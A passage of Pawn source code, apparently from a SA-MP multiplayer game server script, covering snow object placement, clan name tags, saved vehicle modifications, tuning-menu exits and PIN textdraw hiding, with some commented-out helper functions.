	AddSnowObject(17281, -42.50780, -1476.89062, 4.31250, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17121, -65.05467, -1572.94531, -3.89843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17118, -52.24219, -1395.50781, 4.52343, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17186, -39.32030, -1566.71875, 1.42187, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17279, -111.00781, -1362.33593, 5.23437, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13676, 78.41406, -1270.49218, 13.69531, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13677, 92.21875, -1291.65625, 14.11718, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17301, -49.39062, -1140.86718, 5.20312, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17297, -28.64842, -1020.34375, 16.39843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6292, 137.72656, -1026.68750, 24.59375, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17117, 5.04687, -1000.33593, 17.08593, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17305, -153.19531, -971.96093, 34.26562, 0.00000, 0.00000, 0.00000);
	AddSnowObject(12851, -51.97655, -842.67187, 19.74218, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17115, -283.96875, -960.07031, 33.62500, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17302, -160.82812, -1100.76562, 6.42968, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17296, -178.11718, -1049.76562, 14.33593, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17303, -114.95313, -1179.69531, 3.14843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17119, -226.96093, -1253.90625, 7.86718, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6428, 245.19531, -1736.70312, 3.63281, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6315, 205.46093, -1656.82031, 8.96875, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6416, 95.64842, -1593.14843, -19.21093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6314, 127.64842, -1659.70312, 7.42187, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6293, 125.69531, -1768.54687, -10.59375, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6280, 260.02343, -1839.91406, -1.45312, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6417, 156.53906, -1908.78125, -13.68750, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6427, 293.21875, -1691.21875, 7.84375, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6448, 335.30468, -1711.90625, 25.62500, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6449, 387.76562, -1823.63281, 12.50781, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6311, 400.69531, -1755.70312, 6.50000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6297, 432.81250, -1856.28906, 1.22656, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6450, 379.72656, -1945.95312, -1.21875, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6300, 379.53906, -2050.86718, -1.21875, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6310, 437.89843, -1715.10156, 8.59375, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6281, 570.74218, -1868.34375, 1.67968, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6443, 301.93750, -1657.81250, 19.64843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6313, 437.19531, -1679.44531, 19.22656, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6316, 199.40629, -1626.73437, 12.37500, 0.00000, 0.00000, 133.05000);
	AddSnowObject(6312, 202.71093, -1580.11718, 22.47656, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6317, 270.29687, -1613.60156, 32.19531, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6305, 328.57031, -1612.57812, 31.93750, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6320, 297.50000, -1490.30468, 32.09375, 0.00000, 0.00000, 31.96500);
	AddSnowObject(6345, 236.54690, -1498.31250, 21.75000, 0.00000, 0.00000, 337.82998);
	AddSnowObject(6347, 238.17968, -1509.85156, 22.11718, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6321, 270.69531, -1576.20312, 31.89843, 0.00000, 0.00000, 345.65499);
	AddSnowObject(6341, 332.89062, -1500.06250, 29.87500, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6323, 416.46881, -1446.08593, 30.79687, 0.00000, 0.00000, 36.04999);
	AddSnowObject(6319, 444.21881, -1376.51562, 24.67187, 0.00000, 0.00000, 28.30500);
	AddSnowObject(6318, 572.95312, -1328.72656, 13.07031, 0.00000, 0.00000, 14.27000);
	AddSnowObject(6324, 632.57812, -1443.09375, 13.68750, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6508, 624.70312, -1252.11718, 14.87500, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6331, 473.82031, -1437.41406, 21.69531, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6302, 576.14062, -1406.25781, 13.76562, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6322, 496.27343, -1500.14062, 16.66406, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6304, 444.00000, -1521.40625, 27.19531, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6303, 359.21090, -1523.76562, 31.59375, 0.00000, 0.00000, 38.40999);
	AddSnowObject(6343, 389.48437, -1528.78906, 28.50781, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6333, 422.00000, -1583.10156, 23.69531, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6329, 557.53906, -1577.91406, 15.03125, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6307, 491.46875, -1630.75000, 20.07812, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6306, 428.05468, -1654.95312, 24.92187, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6308, 565.81250, -1671.28125, 16.36718, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6398, 552.53125, -1695.57812, 15.54687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6064, 688.53125, -1877.96093, 2.01562, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6309, 576.64062, -1730.42187, 11.88281, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6291, 631.66406, -1647.45312, 14.38281, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6225, 724.81250, -1673.65625, 11.62500, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6227, 676.61718, -1668.96093, 3.85156, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6231, 753.04687, -1676.26562, 8.14062, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6119, 810.87500, -1703.42968, 12.46093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6229, 773.20312, -1667.99218, 2.93750, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6188, 836.31250, -1866.75781, -0.53906, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6120, 845.66406, -1607.29687, 12.46093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6189, 836.44531, -2003.52343, -2.64062, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6114, 1044.78906, -1572.26562, 12.52343, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6121, 926.75000, -1572.27343, 12.51562, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6124, 742.40625, -1595.16406, 13.52343, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6111, 784.50000, -1496.20312, 12.39843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6135, 764.32031, -1509.04687, 16.82812, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6094, 731.15625, -1506.53125, 3.75000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6132, 674.67187, -1483.29687, 17.75000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6301, 717.48437, -1362.77343, 12.51562, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6487, 713.56250, -1236.21875, 17.82031, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13700, 536.40625, -1087.24218, 64.62500, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13703, 495.41406, -957.49218, 79.33593, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13872, 587.67187, -958.76562, 65.35156, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13689, 567.82812, -1031.39843, 71.59375, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13688, 689.69531, -1023.00000, 50.46875, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13698, 650.87500, -1076.07812, 38.83593, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5765, 819.57812, -986.02337, 35.93750, 0.00000, 0.00000, 116.42299);
	AddSnowObject(5753, 850.82812, -1013.78125, 30.25781, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5755, 796.46093, -1111.12500, 23.18750, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6507, 696.89837, -1138.50000, 18.19531, 0.00000, 0.00000, 191.77600);
	AddSnowObject(6488, 723.09375, -1144.20312, 24.50000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5756, 797.91406, -1234.44531, 17.71875, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5805, 869.92187, -1144.73437, 22.75781, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5871, 879.57031, -1092.87500, 26.15625, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5864, 849.91406, -1196.68750, 19.40625, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5865, 892.79687, -1268.61718, 19.72656, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5863, 912.88281, -1194.32812, 20.73437, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5705, 830.86718, -1269.12500, 20.85937, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5796, 859.89062, -1323.78906, 12.37500, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6490, 717.48437, -1357.30468, 20.29687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5798, 797.35156, -1357.64062, 12.54687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5862, 847.35156, -1400.48437, 12.46093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13693, 560.28125, -1184.89843, 44.22656, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13686, 553.59375, -1164.53125, 51.34375, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5754, 962.60156, -1056.30468, 30.37500, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5807, 1041.99218, -1039.29687, 30.19531, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5875, 1022.64062, -1080.32812, 27.25781, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5758, 1012.59375, -1145.08593, 22.75781, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5757, 943.43750, -1220.53125, 17.61718, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5759, 1058.11718, -1234.76562, 17.60156, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5747, 1084.46875, -1048.88281, 32.07031, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5748, 1133.00781, -1145.96875, 22.77343, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5878, 1122.65625, -1080.45312, 26.73437, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5752, 989.11718, -966.10156, 39.50781, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5866, 916.57812, -952.71093, 43.07031, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5718, 901.23437, -967.47662, 47.65625, 0.00000, 0.00000, 10.00000);
	AddSnowObject(5987, 913.71875, -918.58593, 49.34375, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5853, 1018.16412, -908.97662, 43.64843, 0.00000, 0.00000, 7.71999);
	AddSnowObject(5896, 1103.52343, -896.92968, 63.89843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13711, 994.05468, -841.23437, 75.50000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5802, 1124.57031, -950.24218, 41.75781, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13814, 850.87500, -912.80468, 58.14062, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13813, 817.73437, -917.84375, 54.37500, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13716, 849.37500, -828.64843, 73.56250, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13713, 970.15625, -818.52343, 90.96093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13887, 967.20312, -715.27343, 107.97656, 0.00000, 0.00000, 0.00000);
	AddSnowObject(13804, 1077.60937, -651.60937, 114.28906, 0.00000, 0.00000, 144.86500);
	AddSnowObject(13717, 1161.32031, -755.01562, 84.80468, 0.00000, 0.00000, 8.92500);
	AddSnowObject(13784, 1156.85937, -852.75781, 49.35937, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5741, 1196.84375, -914.86718, 41.96875, 0.00000, 0.00000, 9.50000);
	AddSnowObject(5743, 1265.29687, -889.95312, 40.46093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5746, 1163.17187, -1046.42968, 32.29687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5745, 1262.95312, -1037.64843, 32.07031, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5801, 1266.13281, -1037.72656, 28.40625, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5806, 1149.63281, -1039.24218, 30.94531, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5881, 1310.02343, -985.43750, 41.90625, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5793, 1365.47656, -998.26562, 30.32812, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5887, 1212.76562, -1090.07812, 26.37500, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5717, 1212.91406, -988.73437, 42.75781, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5823, 1140.17968, -1207.25781, 18.82031, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4649, 1425.16406, -1035.25781, 24.19531, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4650, 1482.25000, -1097.30468, 22.85937, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5800, 1355.72656, -1089.84375, 24.33593, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4584, 1419.78906, -1096.96093, 20.06250, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5799, 1350.15625, -1170.82031, 19.46093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6007, 1308.24218, -1088.84375, 26.75000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4651, 1539.85937, -1087.31250, 22.72656, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4568, 1529.90625, -1096.78125, 22.40625, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4652, 1539.84375, -1161.74218, 23.00000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4567, 1646.46093, -1161.70312, 22.86718, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4710, 1762.11718, -1170.89062, 22.76562, 0.00000, 0.00000, 180.00000);
	AddSnowObject(4591, 1753.75781, -1231.39843, 12.44531, 0.00000, 0.00000, 180.00000);
	AddSnowObject(4654, 1715.46093, -1230.87500, 18.26562, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4643, 1654.76562, -1246.28906, 16.17187, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5436, 1987.00000, -1408.00000, 17.00000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5500, 1948.95312, -1461.20312, 12.46875, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4589, 1780.00000, -1281.00000, 13.00000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4592, 1798.46093, -1223.46093, 17.54687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4556, 1660.04687, -1340.72656, 15.63281, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4646, 1650.83593, -1300.85937, 15.54687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4684, 1661.54687, -1216.45312, 16.27343, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4562, 1574.59375, -1248.10156, 15.39843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4685, 1572.59375, -1216.50000, 17.50000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4565, 1513.69531, -1204.80468, 18.50000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4648, 1419.67968, -1150.12500, 22.86718, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4679, 1607.88281, -1324.62500, 32.72656, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4553, 1530.83593, -1300.85156, 15.54687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4647, 1454.75781, -1309.12500, 12.46093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4551, 1410.16406, -1333.39062, 9.92187, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4644, 1416.19531, -1210.87500, 17.59375, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5750, 1350.15625, -1250.83593, 14.13281, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5859, 1350.14843, -1353.36718, 12.47656, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5739, 1288.04687, -1203.77343, 17.68750, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5751, 1283.73437, -1145.08593, 22.61718, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5804, 1213.76562, -1177.09375, 19.75000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5707, 1269.39843, -1256.96093, 14.52343, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6006, 1183.69531, -1241.35937, 16.27343, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5857, 1259.43750, -1246.81250, 17.10937, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5749, 1144.40625, -1251.48437, 15.10937, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5703, 998.15625, -1220.82031, 15.83593, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5812, 1230.89062, -1337.98437, 12.53906, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5794, 1200.90625, -1337.99218, 12.39843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5810, 1114.31250, -1348.10156, 17.98437, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5994, 1259.22656, -1400.40625, 10.78125, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5995, 1130.05468, -1400.70312, 12.52343, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5860, 1058.14843, -1363.26562, 12.61718, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5795, 985.72656, -1324.79687, 12.45312, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5732, 1014.02343, -1361.46093, 20.35156, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5808, 1255.24218, -1337.96093, 12.32812, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5809, 1281.43750, -1337.95312, 12.37500, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6035, 1329.03125, -1479.07812, 12.46093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6101, 1268.24218, -1467.84375, 11.82031, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6129, 1205.11718, -1572.27343, 12.42187, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6125, 1196.03906, -1489.07031, 12.37500, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6130, 1117.58593, -1490.00781, 32.71875, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5861, 979.94531, -1400.49218, 12.36718, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6055, 1050.08593, -1489.03906, 12.53906, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6113, 984.29687, -1491.40625, 12.50000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6152, 990.08593, -1450.08593, 12.77343, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6160, 982.61718, -1530.82812, 12.83593, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6112, 917.50000, -1489.10156, 12.29687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6217, 846.45312, -1523.52343, 12.35156, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6059, 855.09375, -1461.80468, 12.79687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5815, 877.16406, -1361.20312, 12.45312, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5797, 917.35937, -1361.24218, 12.38281, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5784, 988.27337, -1289.63281, 15.37500, 0.00000, 0.00000, 180.00000);
	AddSnowObject(5760, 1016.92968, -1249.92968, 18.50000, 0.00000, 0.00000, 270.00000);
	AddSnowObject(4879, 1374.25781, -2184.03906, 21.07812, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17665, 2604.34375, -1220.23437, 54.75000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17629, 2338.92968, -1299.60156, 23.03125, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5624, 2136.72656, -975.82812, 58.10937, 0.00000, 0.00000, 345.00500);
	return true;
}*/
// This Comma by Sina :DDD Shomarandeye Meghdar Pool Mesle: 1,000,000 Comma mizare Beyne Poola
// For Example:
// format(string,sizeof(string),"Mablaghe $%s",Comma(money));
// SendClientMessage(playerid,COLOR_SINA2,string);
/*
stock Comma(numbers)
{
	new temp[24],counter = -1;
	valstr(temp,numbers);
	for(new i = strlen(temp);i > 0; i--)
	{
	   counter++;
	   if(counter == 3)
	   {
		  strins(temp,",",i);
		  counter = 0;
	   }
	}
	return temp;
}
*/
/*
stock SetPlayerFacePlayer(playerid, faceplayerid)
{
	new Float:Px, Float:Py, Float: Pa;
	GetPlayerPos(playerid, Px, Py, Pa);
	new Float:fpX, Float:fpY, Float: fpZ;
	GetPlayerPos(faceplayerid, fpX, fpY, fpZ);
	Pa = floatabs(atan((fpY-Py)/(fpX-Px)));
	if(fpX <= Px && fpY >= Py) Pa = floatsub(180, Pa);
	else if(fpX < Px && fpY < Py) Pa = floatadd(Pa, 180);
	else if(fpX >= Px && fpY <= Py) Pa = floatsub(360.0, Pa);
	Pa = floatsub(Pa, 90.0);
	if(Pa >= 360.0) Pa = floatsub(Pa, 360.0);
	SetPlayerFacingAngle(playerid, Pa);
}
*/

stock GivePlayerTag(playerid, tag[])
{
  new name[MAX_PLAYER_NAME];
  new newname[30];


  GetPlayerName(playerid ,name ,MAX_PLAYER_NAME);

  new c = PlayerInfo[playerid][pClan];
  if(DynamicClans[c-1][cExpire] != 0) {
  if(DynamicClans[c-1][cBB] == 1) {
  format(newname, sizeof(newname), "[%s]%s", tag, PlayerInfo[playerid][pName]);
  }

  else if(DynamicClans[c-1][cBB] == 2) {
  format(newname, sizeof(newname), "%s[%s]", PlayerInfo[playerid][pName], tag);
  }

  SetPlayerName(playerid, newname);

  new str[40];
  GetPlayerName(playerid , name , sizeof(name));
  format(str , sizeof(str) , "%s_(%d)" , newname , playerid);
  PlayerTextDrawSetString(playerid, TD_PlayerName[playerid] , str);
  }
}

stock GetPlayerTag(playerid)
{

  SetPlayerName(playerid, PlayerInfo[playerid][pName]);

  new str[40];
  format(str , sizeof(str) , "%s_(%d)" , PlayerInfo[playerid][pName] , playerid);
  PlayerTextDrawSetString(playerid, TD_PlayerName[playerid] , str);
}
stock ModVehicle(playerid,vehicleid)
{

	if(OwnedMashin[vehicleid] != 0)
	{
	new v;
	if(vehicleid == PINFO[playerid][pCar_1]) {v = PINFO[playerid][pVeh1];}
	else if(vehicleid == PINFO[playerid][pCar_2]) {v = PINFO[playerid][pVeh2];}
	else if(vehicleid == PINFO[playerid][pCar_3]) {v = PINFO[playerid][pVeh3];}
	else if(vehicleid == PINFO[playerid][pCar_4]) {v = PINFO[playerid][pVeh4];}
	else if(vehicleid == PINFO[playerid][pCar_5]) {v = PINFO[playerid][pVeh5];}
	else if(vehicleid == PINFO[playerid][pCar_6]) {v = PINFO[playerid][pVeh6];}

	   if(vInfo[v][cMod1] != 0) {
		  AddVehicleComponent(vehicleid,vInfo[v][cMod1]);
	   }
	   if(vInfo[v][cMod3] != 0) {
		  AddVehicleComponent(vehicleid,vInfo[v][cMod3]);
	   }
	   if(vInfo[v][cMod4] != 0) {
		  AddVehicleComponent(vehicleid,vInfo[v][cMod4]);
	   }
	   if(vInfo[v][cMod5] != 0) {
		  AddVehicleComponent(vehicleid,vInfo[v][cMod5]);
	   }
	   if(vInfo[v][cMod6] != 0) {
		  AddVehicleComponent(vehicleid,vInfo[v][cMod6]);
	   }
	   if(vInfo[v][cMod7] != 0) {
		  AddVehicleComponent(vehicleid,vInfo[v][cMod7]);
	   }
	   if(vInfo[v][cMod8] != 0) {
		  AddVehicleComponent(vehicleid,vInfo[v][cMod8]);
	   }
	   if(vInfo[v][cMod9] != 0) {
		  AddVehicleComponent(vehicleid,vInfo[v][cMod9]);
	   }
	   if(vInfo[v][cMod10] != 0) {
		  AddVehicleComponent(vehicleid,vInfo[v][cMod10]);
	   }
	   if(vInfo[v][cMod11] != 0) {
		  AddVehicleComponent(vehicleid,vInfo[v][cMod11]);
	   }
	   if(vInfo[v][cMod12] != 0) {
		  AddVehicleComponent(vehicleid,vInfo[v][cMod12]);
	   }
	   if(vInfo[v][cMod13] != 0) {
		  AddVehicleComponent(vehicleid,vInfo[v][cMod13]);
	   }
	   if(vInfo[v][cMod14] != 0) {
		  AddVehicleComponent(vehicleid,vInfo[v][cMod14]);
	   }
	   if(vInfo[v][cMod15] != 0) {
		  AddVehicleComponent(vehicleid,vInfo[v][cMod15]);
	   }
	   if(vInfo[v][cMod16] != 0) {
		  AddVehicleComponent(vehicleid,vInfo[v][cMod16]);
	   }
	   if(vInfo[v][cMod17] != 0) {
		  AddVehicleComponent(vehicleid,vInfo[v][cMod17]);
	   }
	   if(vInfo[v][cPaintJob] != 3) {
	   ChangeVehiclePaintjob(vehicleid,vInfo[v][cPaintJob]);
	   }
	}

}
public OnVehicleMod(playerid,vehicleid,componentid)
{
	if(OwnedMashin[vehicleid] == 1 && IsPlayerConnected(MashinOwner[vehicleid]))
	{
	   SaveComponent(vehicleid, componentid);
	}
	if(GetPlayerInterior(playerid) == 0 && anticheat[playerid] != 0 && ImInTuning[playerid] == 0)
	{
	    CheatWarn(playerid, 7, 0.0, vehicleid, 0);
	    SetTimerEx("RemoveVehicleComponentEx",900,false,"ii",vehicleid,componentid);
	}
	return 1;
}

// Other:

public OnPlayerPause(playerid) {
if(FCNPC_IsValid(playerid)) return 1;
AFK[playerid] = 1;
return 1;
}
public OnPlayerResume(playerid, time) {
AFK[playerid] = 0;
return 1;
}
public OnPlayerHideCursor(playerid, hovercolor) {
if(FCNPC_IsValid(playerid)) return 1;
if(ImInTuning[playerid]!=0)
{
if(ControleTun[playerid]==1){SetTuneToEx(playerid);SelectTextDraw(playerid, 0xFF0000FF);ControleTun[playerid]=0;}
new tun=ImInTuning[playerid], veh=GetPlayerVehicleID(playerid);
CloseTuningTab(playerid);
FreeCameraFromTuning(playerid);
TogglePlayerControllable(playerid, 1);
SetVehicleVirtualWorld(veh, 0);SetPlayerVirtualWorld(playerid, 0);PutPlayerInVehicle(playerid, veh, 0);
if(tun==1){SetVehiclePos(veh, 1041.362548, -1032.359497, 32.010612);}
if(tun==2){SetVehiclePos(veh, 2646.127685, -2031.697998, 13.554044);}
if(tun==3){SetVehiclePos(veh, 2386.076416, 1035.584594, 10.820312);}
if(tun==4){SetVehiclePos(veh, -2708.582275, 217.009216, 4.179687);}
if(tun==5){SetVehiclePos(veh, -1936.053588, 230.481704, 34.156250);}
new cht[50];
format(cht, sizeof(cht), "You spent $%s in tuning.", FormatNumber(CheghadrPool[playerid]));
SCM(playerid, COLOR_LIGHTRED, cht);
CheghadrPool[playerid]=0;
}
if(MitooneCancelKone[playerid] == 1)
{
PlayerTextDrawHide(playerid, PINBox1[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox2[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox3[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox4[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox5[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, Succ[playerid]);// Pin ro mizane
PlayerTextDrawHide(playerid, Unsucc[playerid]);// Pin ro bar migardoone
PlayerTextDrawHide(playerid, Dayere1z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere2z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere3z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere4z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere5z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere6z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere7z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere8z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere9z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere0z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, PINNum1[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum2[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum3[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum4[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum5[playerid]);// Adade ke too dayere has
